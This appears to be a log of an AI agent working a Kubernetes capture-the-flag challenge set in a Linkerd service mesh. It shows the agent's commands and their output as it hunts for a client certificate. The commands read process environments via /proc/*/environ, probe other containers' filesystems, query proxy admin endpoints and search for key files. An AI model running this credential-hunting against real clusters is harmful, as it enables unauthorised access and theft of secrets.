echo "=== FULL TLS INFO ==="
echo | openssl s_client -connect $GWIP:443 -servername $GWIP 2>&1 | tail -30
echo "=== CHECK LINKERD TRUST ANCHOR ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | grep -i trust | head -5' 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | grep -i identity | head -5' 2>&1
exit
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== TLS HANDSHAKE - ACCEPTABLE CAs ==="
echo | openssl s_client -connect $GWIP:443 2>&1 | grep -A 20 "Acceptable client"
echo "=== FULL TLS INFO ==="
echo | openssl s_client -connect $GWIP:443 -servername $GWIP 2>&1 | tail -30
echo "=== CHECK LINKERD TRUST ANCHOR ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | grep -i trust | head -5' 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | grep -i identity | head -5' 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export GWIP=$(kubectl get svc -n envoy-gateway-sysstem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grepp '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== TLS HANDSHAKE - ACCEPTABLE CAs ==="
[?2004l=== TLS HANDSHAKE - ACCEPTABLE CAs ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo | openssl s_client -connect $GWIP:443 2>&1 |  grep -A 20 "Acceptable client"
[?2004lAcceptable client certificate CA names
O = Linkerd-CTF, CN = Linkerd-CTF
Requested Signature Algorithms: ECDSA+SHA256:RSA-PSS+SHA256:RSA+SHA256:ECDSA+SHA384:RSA-PSS+SHA384:RSA+SHA384:RSA-PSS+SHA512:RSA+SHA512:RSA+SHA1
Shared Requested Signature Algorithms: ECDSA+SHA256:RSA-PSS+SHA256:RSA+SHA256:ECDSA+SHA384:RSA-PSS+SHA384:RSA+SHA384:RSA-PSS+SHA512:RSA+SHA512
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1416 bytes and written 403 bytes
Verification error: unable to verify the first certificate
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 21 (unable to verify the first certificate)
---
DONE
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== FULL TLS INFO ==="
[?2004l=== FULL TLS INFO ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo | openssl s_client -connect $GWIP:443 -serverrname $GWIP 2>&1 | tail -30
[?2004lRxWqKbJfuN5WoFIRnSS+KZvrSr3RYhinczdJzn0i+kdFd1fP3k5aREJ/n2m4jHjK
9wosZXzzWhraBFPU4G+FxCpbkBI1Fq/K6uy66u+dsDFwfPQBbdgBBasBauOjlVjE
+3ktJkxF9+NecqZoiOeoNqH1dwBhO16yhoiuLI6Hwau/AJvhMZxGnDedeUQEGwnY
XPdoCh3rK+Bmf/6fKn4+vVoFA206Yx839rJ15/mv9vW+2mVUuSxg/tj4qLsisOa5
DboK9aEzCjbFTZNk55C5IT1DwZhV4lLujA==
-----END CERTIFICATE-----
subject=CN = gateway.default.svc
issuer=O = Linkerd-CTF, CN = Linkerd-CTF
---
Acceptable client certificate CA names
O = Linkerd-CTF, CN = Linkerd-CTF
Requested Signature Algorithms: ECDSA+SHA256:RSA-PSS+SHA256:RSA+SHA256:ECDSA+SHA384:RSA-PSS+SHA384:RSA+SHA384:RSA-PSS+SHA512:RSA+SHA512:RSA+SHA1
Shared Requested Signature Algorithms: ECDSA+SHA256:RSA-PSS+SHA256:RSA+SHA256:ECDSA+SHA384:RSA-PSS+SHA384:RSA+SHA384:RSA-PSS+SHA512:RSA+SHA512
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1416 bytes and written 426 bytes
Verification error: unable to verify the first certificate
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 21 (unable to verify the first certificate)
---
DONE
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== CHECK LINKERD TRUST ANCHOR ==="
[?2004l=== CHECK LINKERD TRUST ANCHOR ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | greep -i trust | head -5' 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | greep -i identity | head -5' 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Check if PID namespace is shared and probe Linkerd proxy identity
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo "=== PROCESSES IN DEBUG-TOOLS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ps aux 2>&1
echo "=== CHECK SHARED PID NS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls /proc/ 2>&1 | head -20
echo "=== LINKERD PROXY PORTS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ss -tlnp 2>&1
echo "=== TRY ADMIN IDENTITY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/identity 2>&1 | head -20
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/api/v1/certs 2>&1 | head -20
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo "=== PROCESSES IN DEBUG-TOOLS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ps aux 2>&1
echo "=== CHECK SHARED PID NS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls /proc/ 2>&1 | head -20
echo "=== LINKERD PROXY PORTS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ss -tlnp 2>&1
echo "=== TRY ADMIN IDENTITY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/identity 2>&1 | head -20
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/api/v1/certs 2>&1 | head -20
exit
echo "=== PROCESSES IN DEBUG-TOOLS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ps aux 2>&1
echo "=== CHECK SHARED PID NS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls /proc/ 2>&1 | head -20
echo "=== LINKERD PROXY PORTS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ss -tlnp 2>&1
echo "=== TRY ADMIN IDENTITY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/identity 2>&1 | head -20
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/api/v1/certs 2>&1 | head -20
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== PROCESSES IN DEBUG-TOOLS ==="
[?2004l=== PROCESSES IN DEBUG-TOOLS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- ps aux 2>&1
[?2004lerror: Internal error occurred: error executing command in container: failed to exec in container: failed to start exec "1118c90c110727ebd57b0c521a775f20c855e76653d9697c2523982fa0015c71": OCI runtime exec failed: exec failed: unable to start container process: exec: "ps": executable file not found in $PATH: unknown
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== CHECK SHARED PID NS ==="
[?2004l=== CHECK SHARED PID NS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- ls /proc/ 2>&1 | head -20
[?2004l1
3437
3518
acpi
bootconfig
buddyinfo
bus
cgroups
cmdline
consoles
cpuinfo
crypto
devices
diskstats
dma
driver
dynamic_debug
execdomains
fb
filesystems
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== LINKERD PROXY PORTS ==="
[?2004l=== LINKERD PROXY PORTS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- ss -tlnp 2>&1
[?2004lState  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0      128          0.0.0.0:4191      0.0.0.0:*          
LISTEN 0      128          0.0.0.0:4143      0.0.0.0:*          
LISTEN 0      5            0.0.0.0:8080      0.0.0.0:*          
LISTEN 0      128        127.0.0.1:4140      0.0.0.0:*          
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== TRY ADMIN IDENTITY ==="
[?2004l=== TRY ADMIN IDENTITY ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- curl -s http://localhost:4191/identity 2>&1 | head -20
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- curl -s http://localhost:4191/api/v1/certs 2>&1 | head -20 427 -c debug-tools -- curl -s http://localhost:4191/api/v1/certs 2>&1 | head -20
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Read other container filesystems via /proc and check Linkerd proxy certs
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo "=== PROC CMDLINE ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/1/cmdline 2>&1 | tr '\0' ' '
echo ""
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/3437/cmdline 2>&1 | tr '\0' ' '
echo ""
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/3518/cmdline 2>&1 | tr '\0' ' '
echo ""
echo "=== READ LINKERD PROXY ROOT FS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /proc/3437/root/var/run/linkerd/ 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /proc/3518/root/var/run/linkerd/ 2>&1
echo "=== OPENSSL TO INBOUND PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect localhost:4143 2>&1 | head -30' 2>&1
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo "=== PROC CMDLINE ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/1/cmdline 2>&1 | tr '\0' ' '
echo ""
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/3437/cmdline 2>&1 | tr '\0' ' '
echo ""
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/3518/cmdline 2>&1 | tr '\0' ' '
echo ""
echo "=== READ LINKERD PROXY ROOT FS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /proc/3437/root/var/run/linkerd/ 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /proc/3518/root/var/run/linkerd/ 2>&1
echo "=== OPENSSL TO INBOUND PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect localhost:4143 2>&1 | head -30' 2>&1
exit
echo "=== PROC CMDLINE ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/1/cmdline 2>&1 | tr '\0' ' '
echo ""
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/3437/cmdline 2>&1 | tr '\0' ' '
echo ""
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/3518/cmdline 2>&1 | tr '\0' ' '
echo ""
echo "=== READ LINKERD PROXY ROOT FS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /proc/3437/root/var/run/linkerd/ 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /proc/3518/root/var/run/linkerd/ 2>&1
echo "=== OPENSSL TO INBOUND PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect localhost:4143 2>&1 | head -30' 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== PROC CMDLINE ==="
[?2004l=== PROC CMDLINE ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- cat /proc/1/cmdline 2>&1 | tr '\0' ' '
[?2004l/bin/sh -c apt-get update && apt-get install -y tcpdump curl iproute2
sleep infinity
 [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo ""
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- cat /proc/3437/cmdline 2>&1 | tr '\0' ' '
[?2004lsleep infinity [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo ""
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- cat /proc/3518/cmdline 2>&1 | tr '\0' ' '
[?2004lcat: /proc/3518/cmdline: No such file or directory
command terminated with exit code 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo ""
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== READ LINKERD PROXY ROOT FS ==="
[?2004l=== READ LINKERD PROXY ROOT FS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- ls -la /proc/3437/root/var/run/linkerd/ 2>&1
[?2004lls: cannot access '/proc/3437/root/var/run/linkerd/': No such file or directory
command terminated with exit code 2
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- ls -la /proc/3518/root/var/run/linkerd/ 2>&1
[?2004lls: cannot access '/proc/3518/root/var/run/linkerd/': No such file or directory
command terminated with exit code 2
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== OPENSSL TO INBOUND PROXY ==="
[?2004l=== OPENSSL TO INBOUND PROXY ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- sh -c 'echo | openssl s_client -connect localhost:4143 2>&11 | head -30' 2>&1
[?2004lConnecting to 127.0.0.1
40471971CA7D0000:error:0A000126:SSL routines::unexpected eof while reading:../ssl/record/rec_layer_s3.c:698:
CONNECTED(00000003)
---
no peer certificate available
---
No client certificate CA names sent
Negotiated TLS1.3 group: <NULL>
---
SSL handshake has read 0 bytes and written 1533 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Protocol: TLSv1.3
This TLS version forbids renegotiation.
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Check iptables rules and try curling gateway from meshed debug-tools
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo "=== IPTABLES IN DEBUG-TOOLS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- iptables -t nat -L -n -v 2>&1
echo "=== TRY CURL VIA LINKERD PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -svk https://10.111.253.191 2>&1 | tail -20
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo "=== IPTABLES IN DEBUG-TOOLS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- iptables -t nat -L -n -v 2>&1
echo "=== TRY CURL VIA LINKERD PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -svk https://10.111.253.191 2>&1 | tail -20
exit
echo "=== IPTABLES IN DEBUG-TOOLS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- iptables -t nat -L -n -v 2>&1
echo "=== TRY CURL VIA LINKERD PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -svk https://10.111.253.191 2>&1 | tail -20
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== IPTABLES IN DEBUG-TOOLS ==="
[?2004l=== IPTABLES IN DEBUG-TOOLS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- iptables -t nat -L -n -v 2>&1
[?2004lerror: Internal error occurred: error executing command in container: failed to exec in container: failed to start exec "db8eb0751e5e1f11bd78ada1a3bc6aaa1f0c00d56b19515121cb7c04f7555193": OCI runtime exec failed: exec failed: unable to start container process: exec: "iptables": executable file not found in $PATH: unknown
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== TRY CURL VIA LINKERD PROXY ==="
[?2004l=== TRY CURL VIA LINKERD PROXY ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- curl -svk https://10.111.253.191 2>&1 | tail -20
[?2004l* [HTTP/2] [1] [:method: GET]
* [HTTP/2] [1] [:scheme: https]
* [HTTP/2] [1] [:authority: 10.111.253.191]
* [HTTP/2] [1] [:path: /]
* [HTTP/2] [1] [user-agent: curl/8.14.1]
* [HTTP/2] [1] [accept: */*]
} [5 bytes data]
> GET / HTTP/2
> Host: 10.111.253.191
> User-Agent: curl/8.14.1
> Accept: */*
> 
* Request completely sent off
{ [5 bytes data]
* TLSv1.3 (IN), TLS alert, unknown (628):
{ [2 bytes data]
* OpenSSL SSL_read: OpenSSL/3.5.5: error:0A00045C:SSL routines::tlsv13 alert certificate required, errno 0
* Failed receiving HTTP2 data: 56(Failure when receiving data from the peer)
* Connection #0 to host 10.111.253.191 left intact
command terminated with exit code 56
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Check jumppod spec, volumes, and hidden mount points
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo "=== JUMPPOD SPEC ==="
kubectl get pod jumppod-cd5dfbd7-m4b2w -n default -o yaml 2>&1 | head -100
echo "=== JUMPPOD VOLUMES ==="
kubectl get pod jumppod-cd5dfbd7-m4b2w -n default -o yaml 2>&1 | grep -A 30 volumes
echo "=== JUMPPOD VOLUME MOUNTS ==="
mount 2>&1
echo "=== HIDDEN FILES ==="
ls -la /run/secrets/ 2>&1
find /run/ -type f 2>&1 | head -20
find /etc/ -name "*linkerd*" -o -name "*client*" -o -name "*key*" 2>/dev/null | grep -v ssl | grep -v dpkg | head -10
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

